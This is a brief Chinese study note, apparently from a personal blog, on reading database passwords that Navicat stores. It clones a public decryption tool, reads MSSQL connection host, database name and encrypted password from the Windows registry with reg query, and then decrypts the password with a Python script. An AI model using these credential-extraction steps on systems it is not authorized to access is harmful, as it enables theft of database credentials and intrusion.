【笔记】how-does-navicat-encrypt-password学习笔记

前言

利用HyperSine/how-does-navicat-encrypt-password读取Navicat保存的数据库连接密码

下载项目

1
2
git clone https://github.com/HyperSine/how-does-navicat-encrypt-password.git
cd how-does-navicat-encrypt-password

探测是否存在Navicat

探测MSSQL

1
reg query HKEY_CURRENT_USER\Software\Preminum\NavicatMSSQL\Servers\sqlserver

读取数据库连接配置

数据库IP地址

1
reg query HKEY_CURRENT_USER\Software\Preminum\NavicatMSSQL\Servers\sqlserver\Host

数据库名

1
reg query HKEY_CURRENT_USER\Software\Preminum\NavicatMSSQL\Servers\sqlserver\InitialDatabase

密文密码

1
reg query HKEY_CURRENT_USER\Software\Preminum\NavicatMSSQL\Servers\sqlserver\Pwd

读取数据库连接密码

<password_encrypt>:密文密码

1
python3 python3/NavicatCipher.py dec <password_encrypt>

完成